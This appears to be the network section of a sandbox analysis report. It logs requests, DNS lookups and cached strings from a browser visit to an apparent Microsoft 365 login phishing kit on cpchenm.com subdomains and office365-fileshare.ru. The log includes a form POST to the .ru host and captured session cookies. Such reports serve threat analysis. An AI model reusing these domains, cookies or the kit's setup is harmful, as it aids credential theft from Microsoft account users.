Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: tvrceocprq.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: tvrcemejeff.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrcemejeff.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrcemejeff.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1Host: tvrcemejeff.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
Source: global traffic	HTTP traffic detected: GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1Host: tvrcemejeff.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-alivesec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tvrceocprq.cpchenm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: tvrcedjrhte.cpchenm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM

Source: global traffic	DNS traffic detected: DNS query: ctrk.klclick3.com
Source: global traffic	DNS traffic detected: DNS query: office365-fileshare.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: tvrcemeheff.cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: tvrceocprq.cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: tvrcedjrhte.cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: tvrcehrvetbr.cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: tvrcemejeff.cpchenm.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com

Source: unknown

HTTP traffic detected: POST /LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ HTTP/1.1Host: office365-fileshare.ruConnection: keep-aliveContent-Length: 40sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: https://office365-fileshare.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://tvrceocprq.cpchenm.comCache-Control: privateCache-Control: no-cache="Set-Cookie"Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';Cross-Origin-Resource-Policy: cross-originDate: Tue, 12 Nov 2024 16:29:48 GMTNel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"Referrer-Policy: strict-origin-when-cross-originSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None

Source: chromecache_148.4.dr, chromecache_151.4.dr	String found in binary or memory: http://feross.org
Source: chromecache_137.4.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_144.4.dr, chromecache_131.4.dr	String found in binary or memory: http://gsgd.co.uk/sandbox/jquery/easing/
Source: chromecache_118.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_155.4.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_118.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_155.4.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_147.4.dr	String found in binary or memory: https://device.tvrceocprq.cpchenm.com
Source: chromecache_118.4.dr, chromecache_148.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_151.4.dr, chromecache_126.4.dr, chromecache_117.4.dr, chromecache_155.4.dr, chromecache_113.4.dr, chromecache_134.4.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_147.4.dr	String found in binary or memory: https://login-us.microsoftonline.com
Source: chromecache_147.4.dr	String found in binary or memory: https://login.chinacloudapi.cn
Source: chromecache_147.4.dr	String found in binary or memory: https://login.microsoftonline.de
Source: chromecache_147.4.dr	String found in binary or memory: https://login.partner.microsoftonline.cn
Source: chromecache_147.4.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_147.4.dr	String found in binary or memory: https://login.windows.net
Source: chromecache_147.4.dr	String found in binary or memory: https://logincert.microsoftonline.com
Source: chromecache_147.4.dr	String found in binary or memory: https://tvrceocprq.cpchenm.com
Source: chromecache_147.4.dr	String found in binary or memory: https://tvrceroweri.cpchenm.com
Source: chromecache_147.4.dr	String found in binary or memory: https://tvrceusocprq.cpchenm.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49217
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 49230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 49187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
